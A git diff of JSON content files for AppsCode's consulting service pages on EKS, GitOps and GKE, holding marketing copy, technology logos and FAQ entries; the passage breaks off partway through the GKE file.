"name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Accelerate with EKS Consulting Services?", + "subtitle": "Get expert EKS consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", + "buttons": [ + { + "text": "Talk to an EKS Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode is the Right EKS Consulting Partner?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "AWS Marketplace Partner", + "description": "AppsCode is listed on the AWS Marketplace with AppsCode Cloud for EKS-based cluster management and database provisioning." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "World-Class EKS Expertise", + "description": "50+ engineers specializing in EKS, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-trophy", + "title": "Industry Leadership", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise on EKS." + }, + { + "icon": "fa fa-graduation-cap", + "title": "EKS Training Programs", + "description": "Hands-on EKS workshops and cloud-native upskilling for DevOps teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Dedicated Teams", + "description": "Easily scale your engineering teams with AppsCode's EKS experts." + } + ] + }, + "partner_listing": { + "title": "Our Products on AWS Marketplace", + "subtitle": "AppsCode is an AWS Marketplace partner. Deploy and manage production-grade databases on EKS clusters directly from AWS Marketplace.", + "products": [ + { + "name": "AppsCode Cloud on AWS", + "description": "Kubernetes Native Data Platform — deploy a central management console for all your EKS clusters to provision and manage production-grade databases.", + "url": "https://aws.amazon.com/marketplace/pp/prodview-izn7wxvkpbjuo", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "AppsCode Inc. Seller Profile", + "description": "Browse all AppsCode products and solutions available on the AWS Marketplace.", + "url": "https://aws.amazon.com/marketplace/seller-profile?id=seller-6nyynzztrttiq", + "logo": "/assets/images/technical-expertise/eks.svg" + } + ] + }, + "faq": [ + { + "question": "What do your EKS Consulting Services include?", + "answer": "Our EKS Consulting Services cover the full lifecycle of designing, deploying, and managing EKS clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Amazon EKS." + }, + { + "question": "Is AppsCode available on AWS Marketplace?", + "answer": "Yes — AppsCode is listed on the AWS Marketplace with AppsCode Cloud, a Kubernetes Native Data Platform for EKS-based cluster management. Visit aws.amazon.com/marketplace/seller-profile?id=seller-6nyynzztrttiq to view our offerings." + }, + { + "question": "Which technologies and practices are used in EKS consulting?", + "answer": "We leverage EKS, eksctl, Terraform, Helm charts, operators, containerization, CI/CD pipelines, infrastructure as code, observability (CloudWatch, Prometheus, Grafana), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient EKS environments." + }, + { + "question": "Can you work with our existing EKS clusters or AWS-native stack?", + "answer": "Yes — we integrate with your current EKS clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable EKS deployments." + }, + { + "question": "What is the typical timeline and engagement model for EKS Consulting Services?", + "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term EKS advisory partnerships." + }, + { + "question": "Do you support hybrid and multi-cloud EKS deployments?", + "answer": "Absolutely. Our EKS Consulting Services are designed for portability and consistency across AWS and other cloud environments, ensuring seamless operations and scalability across environments." + }, + { + "question": "How do you ensure security, reliability, and operational efficiency in EKS?", + "answer": "We enforce security best practices including IAM roles for service accounts (IRSA), RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." + }, + { + "question": "What happens after EKS consulting and implementation?", + "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our EKS Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." + }, + { + "question": "How much do EKS Consulting Services cost, and what are the pricing models?", + "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/gitops_consulting.json b/data/services/application-modernization/gitops_consulting.json index 12dec9ea81..ec7567a8cd 100644 --- a/data/services/application-modernization/gitops_consulting.json +++ b/data/services/application-modernization/gitops_consulting.json @@ -1,341 +1,341 @@ -{ - "hero": { - "title": "GitOps Consulting Services & Implementation Experts", - "subtitle": "Accelerate your CI/CD and cloud-native deployments with enterprise-grade GitOps consulting services. Experts in ArgoCD, FluxCD, Helm, Kustomize & Tekton.", - "cta_text": "Consult a GitOps Expert Today", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/gitops-consulting-implementation-hero.png", - "alt": "GitOps Consulting Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Global Enterprises & Startups" - }, - "title_with_small_cards": { - "title": "Why Choose GitOps Consulting Services?", - "areas": [ - { - "icon": "fa fa-code", - "title": "Declarative Infrastructure & Application Management" - }, - { - "icon": "fa fa-users", - "title": "Improved Developer Productivity & Experience" - }, - { - "icon": "fa fa-clock-o", - "title": "Faster, Automated Deployments & Releases" - }, - { - "icon": "fa fa-bug", - "title": "Quick Failure Detection & Instant Rollbacks" - }, - { - "icon": "fa fa-cogs", - "title": "Reduced Operational Overhead" - }, - { - "icon": "fa fa-database", - "title": "Git as the Single Source of Truth" - }, - { - "icon": "fa fa-rocket", - "title": "Continuous Deployment Automation" - }, - { - "icon": "fa fa-shield", - "title": "Security, Compliance & Policy Enforcement" - } - ] - }, - "service_details": { - "title": "Comprehensive GitOps Consulting & Implementation Services", - "subtitle": "AppsCode provides end-to-end GitOps consulting services — from strategy and framework selection to deployment, automation, and training for your teams.", - "sections": [ - { - "title": "GitOps Strategy, Consulting & Advisory", - "description": "Adopt GitOps with confidence. Our GitOps consultants evaluate your existing CI/CD pipelines, define maturity levels, and recommend optimized deployment strategies for cloud-native efficiency.", - "offerings": [ - "Audit current CI/CD pipelines and compare with GitOps best practices.", - "Assess infrastructure readiness for ArgoCD, FluxCD, and Helm adoption.", - "Design a GitOps roadmap aligning technology with business objectives.", - "Recommend tools and automation workflows for zero-downtime releases." - ], - "image": "/assets/images/services/consulting-advisory.png" - }, - { - "title": "GitOps Implementation — From Dev to Production", - "description": "Transform your software delivery pipeline with a GitOps-based approach. Automate deployments, manage clusters declaratively, and ensure consistent environments across Dev, QA, and Production.", - "offerings": [ - "Implement GitOps frameworks using ArgoCD, FluxCD, Helm, and Kustomize.", - "Enable drift detection, state management, and auto-reconciliation.", - "Adopt Infrastructure as Code (IaC) using Terraform and Terragrunt.", - "Automate multi-cloud and multi-cluster GitOps deployments.", - "Design Git repository structures aligned with GitOps best practices." - ], - "image": "/assets/images/services/gitops-implementation-dev-to-production.png" - }, - { - "title": "Enterprise GitOps Support & Managed Services", - "description": "Our enterprise-grade GitOps managed services provide 24/7 monitoring, optimization, and ongoing support to ensure smooth operations and secure delivery pipelines.", - "offerings": [ - "Continuous observability and logging to prevent pipeline failures.", - "Support for ArgoCD, FluxCD, Helm, Werf, and Kustomize environments.", - "Manage updates, patches, and upgrades of GitOps tools proactively.", - "Monitor and optimize multi-cluster GitOps environments at scale." - ], - "image": "/assets/images/services/enterprise-support-services.png" - }, - { - "title": "GitOps Tools Training & Enablement", - "description": "Upskill your engineering teams with hands-on GitOps training sessions tailored for real-world production use cases.", - "offerings": [ - "Practical workshops covering ArgoCD, FluxCD, Helm, Terragrunt, and Werf.", - "Master declarative configurations, drift detection, and pull-based deployments.", - "Learn best practices for managing GitOps configurations and version control.", - "Enable self-service deployments and continuous delivery pipelines." - ], - "image": "/assets/images/services/gitops-tools-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise", - "subtitle": "Working with 100+ clients, we understand critical operations, compliance, and first-time-right deployments.", - "additional_text": "From global enterprises to scaling startups, we deliver reliable GitOps solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available and compliant systems for secure transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage high-performance cloud infrastructure." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML for safety, sustainability, and innovation." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Streamline inspections, monitor resources, and reduce operational costs." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Process patient data securely and quickly using cloud-native workflows." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations and real-time updates efficiently." - } - ] - }, - "tech_stack": { - "title": "Diverse Technical Expertise", - "subtitle": "Our certified engineers excel in:", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Need GitOps Support?", - "subtitle": "Get expert guidance and end-to-end GitOps support for your deployments.", - "buttons": [ - { - "text": "Talk to a GitOps Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "large_preview_cards": { - "title": "Expertise Across GitOps Tools", - "items": [ - { - "icon": "fa fa-rocket", - "title": "ArgoCD Experts", - "description": "Evaluate, design, implement, and manage ArgoCD for single or multi-cluster, multi-cloud deployments. Full adoption support with ApplicationSet and Rollouts." - }, - { - "icon": "fa fa-rocket", - "title": "FluxCD Experts", - "description": "Implement FluxCD workflows for your application ecosystem with best practices and post-implementation training for in-house expertise." - }, - { - "icon": "fa fa-rocket", - "title": "Helm Experts", - "description": "Create and manage Helm charts for microservices and streamline GitOps pipelines with expert guidance." - }, - { - "icon": "fa fa-rocket", - "title": "Kustomize Experts", - "description": "Assess, evaluate, and implement Kustomize to manage Kubernetes YAML configurations efficiently and choose the right approach between Helm and Kustomize." - }, - { - "icon": "fa fa-rocket", - "title": "Werf Experts", - "description": "Set up Werf for efficient CI/CD pipelines, manage deployments, and provide team training for GitOps pipeline operations." - }, - { - "icon": "fa fa-rocket", - "title": "Terragrunt Experts", - "description": "Organize and streamline Terraform code with Terragrunt for multiple environments, keeping DRY principles intact." - } - ] - }, - "cards": { - "title": "Why Choose AppsCode for GitOps Consulting?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Team", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-users", - "title": "In-House Domain Expertise", - "description": "90% engineering team with no outsourcing, delivering service mesh and GitOps best practices." - }, - { - "icon": "fa fa-gift", - "title": "Community Contribution", - "description": "Contributed to 50+ open source projects in cloud-native and DevOps domains." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-users", - "title": "Seasoned Engineers", - "description": "Training focuses on practical, hands-on experience in GitOps and cloud-native workflows." - } - ] - }, - "faq": [ - { - "question": "What do your CI/CD Consulting Services include?", - "answer": "Our CI/CD Consulting Services guide organizations through designing, implementing, and optimizing continuous integration and continuous delivery pipelines. We cover pipeline automation, testing, monitoring, and deployment strategies to accelerate software delivery while maintaining quality and reliability." - }, - { - "question": "Which technologies and practices are used in CI/CD consulting?", - "answer": "We leverage tools like Jenkins, GitHub Actions, GitLab CI, ArgoCD, Docker, Kubernetes, and infrastructure as code. Our approach emphasizes automated testing, version control, CI/CD pipeline best practices, and seamless integration with cloud-native architectures." - }, - { - "question": "Can you work with our existing development workflows?", - "answer": "Yes — we integrate with your current pipelines and technology stack. Our consultants optimize existing workflows, implement automation, and ensure efficient, repeatable, and reliable continuous delivery processes." - }, - { - "question": "What is the typical timeline and engagement model for CI/CD Consulting Services?", - "answer": "Engagements usually begin with a 1–2 week assessment phase to analyze current processes. Implementation follows in 4–8 week agile sprints. We provide flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term advisory partnerships." - }, - { - "question": "Do CI/CD Consulting Services support multi-cloud or hybrid cloud environments?", - "answer": "Absolutely. We design CI/CD pipelines to work seamlessly across AWS, Azure, GCP, and on-premises environments, ensuring consistent deployments and operational reliability across platforms." - }, - { - "question": "How do you ensure quality, security, and reliability in CI/CD pipelines?", - "answer": "Quality is maintained with automated testing and code reviews, security with secrets management and access control, and reliability through monitoring, rollback strategies, and disaster recovery practices." - }, - { - "question": "What happens after CI/CD pipeline implementation?", - "answer": "We provide ongoing support, monitoring, and optimization for CI/CD pipelines. This includes guidance on scaling, process improvements, and knowledge transfer to help your teams manage continuous delivery efficiently." - }, - { - "question": "How much do CI/CD Consulting Services cost, and what are the pricing models?", - "answer": "Pricing varies based on pipeline complexity, number of teams, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "GitOps Consulting Services & Implementation Experts", + "subtitle": "Accelerate your CI/CD and cloud-native deployments with enterprise-grade GitOps consulting services. Experts in ArgoCD, FluxCD, Helm, Kustomize & Tekton.", + "cta_text": "Consult a GitOps Expert Today", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/gitops-consulting-implementation-hero.png", + "alt": "GitOps Consulting Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Global Enterprises & Startups" + }, + "title_with_small_cards": { + "title": "Why Choose GitOps Consulting Services?", + "areas": [ + { + "icon": "fa fa-code", + "title": "Declarative Infrastructure & Application Management" + }, + { + "icon": "fa fa-users", + "title": "Improved Developer Productivity & Experience" + }, + { + "icon": "fa fa-clock-o", + "title": "Faster, Automated Deployments & Releases" + }, + { + "icon": "fa fa-bug", + "title": "Quick Failure Detection & Instant Rollbacks" + }, + { + "icon": "fa fa-cogs", + "title": "Reduced Operational Overhead" + }, + { + "icon": "fa fa-database", + "title": "Git as the Single Source of Truth" + }, + { + "icon": "fa fa-rocket", + "title": "Continuous Deployment Automation" + }, + { + "icon": "fa fa-shield", + "title": "Security, Compliance & Policy Enforcement" + } + ] + }, + "service_details": { + "title": "Comprehensive GitOps Consulting & Implementation Services", + "subtitle": "AppsCode provides end-to-end GitOps consulting services — from strategy and framework selection to deployment, automation, and training for your teams.", + "sections": [ + { + "title": "GitOps Strategy, Consulting & Advisory", + "description": "Adopt GitOps with confidence. Our GitOps consultants evaluate your existing CI/CD pipelines, define maturity levels, and recommend optimized deployment strategies for cloud-native efficiency.", + "offerings": [ + "Audit current CI/CD pipelines and compare with GitOps best practices.", + "Assess infrastructure readiness for ArgoCD, FluxCD, and Helm adoption.", + "Design a GitOps roadmap aligning technology with business objectives.", + "Recommend tools and automation workflows for zero-downtime releases." + ], + "image": "/assets/images/services/consulting-advisory.png" + }, + { + "title": "GitOps Implementation — From Dev to Production", + "description": "Transform your software delivery pipeline with a GitOps-based approach. Automate deployments, manage clusters declaratively, and ensure consistent environments across Dev, QA, and Production.", + "offerings": [ + "Implement GitOps frameworks using ArgoCD, FluxCD, Helm, and Kustomize.", + "Enable drift detection, state management, and auto-reconciliation.", + "Adopt Infrastructure as Code (IaC) using Terraform and Terragrunt.", + "Automate multi-cloud and multi-cluster GitOps deployments.", + "Design Git repository structures aligned with GitOps best practices." + ], + "image": "/assets/images/services/gitops-implementation-dev-to-production.png" + }, + { + "title": "Enterprise GitOps Support & Managed Services", + "description": "Our enterprise-grade GitOps managed services provide 24/7 monitoring, optimization, and ongoing support to ensure smooth operations and secure delivery pipelines.", + "offerings": [ + "Continuous observability and logging to prevent pipeline failures.", + "Support for ArgoCD, FluxCD, Helm, Werf, and Kustomize environments.", + "Manage updates, patches, and upgrades of GitOps tools proactively.", + "Monitor and optimize multi-cluster GitOps environments at scale." + ], + "image": "/assets/images/services/enterprise-support-services.png" + }, + { + "title": "GitOps Tools Training & Enablement", + "description": "Upskill your engineering teams with hands-on GitOps training sessions tailored for real-world production use cases.", + "offerings": [ + "Practical workshops covering ArgoCD, FluxCD, Helm, Terragrunt, and Werf.", + "Master declarative configurations, drift detection, and pull-based deployments.", + "Learn best practices for managing GitOps configurations and version control.", + "Enable self-service deployments and continuous delivery pipelines." + ], + "image": "/assets/images/services/gitops-tools-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise", + "subtitle": "Working with 100+ clients, we understand critical operations, compliance, and first-time-right deployments.", + "additional_text": "From global enterprises to scaling startups, we deliver reliable GitOps solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Highly available and compliant systems for secure transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate AI and manage high-performance cloud infrastructure." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Leverage AI & ML for safety, sustainability, and innovation." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Streamline inspections, monitor resources, and reduce operational costs." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Process patient data securely and quickly using cloud-native workflows." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless operations and real-time updates efficiently." + } + ] + }, + "tech_stack": { + "title": "Diverse Technical Expertise", + "subtitle": "Our certified engineers excel in:", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Need GitOps Support?", + "subtitle": "Get expert guidance and end-to-end GitOps support for your deployments.", + "buttons": [ + { + "text": "Talk to a GitOps Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "large_preview_cards": { + "title": "Expertise Across GitOps Tools", + "items": [ + { + "icon": "fa fa-rocket", + "title": "ArgoCD Experts", + "description": "Evaluate, design, implement, and manage ArgoCD for single or multi-cluster, multi-cloud deployments. Full adoption support with ApplicationSet and Rollouts." + }, + { + "icon": "fa fa-rocket", + "title": "FluxCD Experts", + "description": "Implement FluxCD workflows for your application ecosystem with best practices and post-implementation training for in-house expertise." + }, + { + "icon": "fa fa-rocket", + "title": "Helm Experts", + "description": "Create and manage Helm charts for microservices and streamline GitOps pipelines with expert guidance." + }, + { + "icon": "fa fa-rocket", + "title": "Kustomize Experts", + "description": "Assess, evaluate, and implement Kustomize to manage Kubernetes YAML configurations efficiently and choose the right approach between Helm and Kustomize." + }, + { + "icon": "fa fa-rocket", + "title": "Werf Experts", + "description": "Set up Werf for efficient CI/CD pipelines, manage deployments, and provide team training for GitOps pipeline operations." + }, + { + "icon": "fa fa-rocket", + "title": "Terragrunt Experts", + "description": "Organize and streamline Terraform code with Terragrunt for multiple environments, keeping DRY principles intact." + } + ] + }, + "cards": { + "title": "Why Choose AppsCode for GitOps Consulting?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Team", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-users", + "title": "In-House Domain Expertise", + "description": "90% engineering team with no outsourcing, delivering service mesh and GitOps best practices." + }, + { + "icon": "fa fa-gift", + "title": "Community Contribution", + "description": "Contributed to 50+ open source projects in cloud-native and DevOps domains." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-users", + "title": "Seasoned Engineers", + "description": "Training focuses on practical, hands-on experience in GitOps and cloud-native workflows." + } + ] + }, + "faq": [ + { + "question": "What do your CI/CD Consulting Services include?", + "answer": "Our CI/CD Consulting Services guide organizations through designing, implementing, and optimizing continuous integration and continuous delivery pipelines. We cover pipeline automation, testing, monitoring, and deployment strategies to accelerate software delivery while maintaining quality and reliability." + }, + { + "question": "Which technologies and practices are used in CI/CD consulting?", + "answer": "We leverage tools like Jenkins, GitHub Actions, GitLab CI, ArgoCD, Docker, Kubernetes, and infrastructure as code. Our approach emphasizes automated testing, version control, CI/CD pipeline best practices, and seamless integration with cloud-native architectures." + }, + { + "question": "Can you work with our existing development workflows?", + "answer": "Yes — we integrate with your current pipelines and technology stack. Our consultants optimize existing workflows, implement automation, and ensure efficient, repeatable, and reliable continuous delivery processes." + }, + { + "question": "What is the typical timeline and engagement model for CI/CD Consulting Services?", + "answer": "Engagements usually begin with a 1–2 week assessment phase to analyze current processes. Implementation follows in 4–8 week agile sprints. We provide flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term advisory partnerships." + }, + { + "question": "Do CI/CD Consulting Services support multi-cloud or hybrid cloud environments?", + "answer": "Absolutely. We design CI/CD pipelines to work seamlessly across AWS, Azure, GCP, and on-premises environments, ensuring consistent deployments and operational reliability across platforms." + }, + { + "question": "How do you ensure quality, security, and reliability in CI/CD pipelines?", + "answer": "Quality is maintained with automated testing and code reviews, security with secrets management and access control, and reliability through monitoring, rollback strategies, and disaster recovery practices." + }, + { + "question": "What happens after CI/CD pipeline implementation?", + "answer": "We provide ongoing support, monitoring, and optimization for CI/CD pipelines. This includes guidance on scaling, process improvements, and knowledge transfer to help your teams manage continuous delivery efficiently." + }, + { + "question": "How much do CI/CD Consulting Services cost, and what are the pricing models?", + "answer": "Pricing varies based on pipeline complexity, number of teams, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/application-modernization/gke_consulting_partner.json b/data/services/application-modernization/gke_consulting_partner.json index 23529bad92..757a09cf72 100644 --- a/data/services/application-modernization/gke_consulting_partner.json +++ b/data/services/application-modernization/gke_consulting_partner.json @@ -1,333 +1,333 @@ -{ - "hero": { - "title": "Google GKE Consulting Services by Experts", - "subtitle": "AppsCode is a Google Cloud partner — delivering expert GKE consulting, deployment, optimization, and managed enterprise support.", - "cta_text": "Talk to a GKE Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Google GKE Consulting Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our GKE Consulting Services?", - "areas": [ - { - "icon": "fa fa-lightbulb-o", - "title": "Agile & Scalable GKE Architecture" - }, - { - "icon": "fa fa-tachometer", - "title": "High-Performance GKE Deployments" - }, - { - "icon": "fa fa-cogs", - "title": "Accelerated App Development on GKE" - }, - { - "icon": "fa fa-money", - "title": "Optimize Google Cloud Costs" - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud & Hybrid Kubernetes Flexibility" - }, - { - "icon": "fa fa-shield", - "title": "Self-Healing & Secure Container Environments" - }, - { - "icon": "fa fa-arrows-alt", - "title": "Migrate & Containerize Legacy Applications" - }, - { - "icon": "fa fa-repeat", - "title": "Automated CI/CD Rollouts & Rollbacks" - } - ] - }, - "service_details": { - "title": "Our End-to-End GKE Consulting Services", - "subtitle": "As a Google Cloud partner and CNCF Silver Member, AppsCode delivers expert GKE consulting — from planning to production management.", - "sections": [ - { - "title": "GKE Advisory & Assessment", - "description": "Start your GKE journey with confidence. Our experts assess your current Google Cloud infrastructure, plan seamless migration to GKE, and design a scalable architecture optimized for your workloads.", - "offerings": [ - "Conduct GCP infrastructure audits and plan GKE adoption.", - "Create a roadmap for efficient GKE deployment across regions.", - "Provide detailed cost analysis and workload optimization." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Application Development & Migration", - "description": "Modernize your workloads with GKE-native applications and migrate monoliths into containerized microservices for better agility and performance.", - "offerings": [ - "Develop GKE-ready applications using Go, Java, and Python.", - "Break monolithic architectures into resilient microservices.", - "Implement centralized management across multi-cluster GKE environments." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "GKE Deployment & Operations", - "description": "Deploy production-grade GKE clusters with high availability, resilience, and observability built in, leveraging native Google Cloud integrations.", - "offerings": [ - "Provision auto-healing GKE clusters using Terraform, Crossplane, and Config Connector.", - "Integrate observability with Cloud Monitoring, Cloud Logging, Prometheus, and Grafana.", - "Automate cluster scaling, upgrades, and security policies." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "DevSecOps, Security & Compliance", - "description": "Shift security left in your GKE lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", - "offerings": [ - "Implement Workload Identity, RBAC, Binary Authorization, and VPC Service Controls.", - "Automate container image 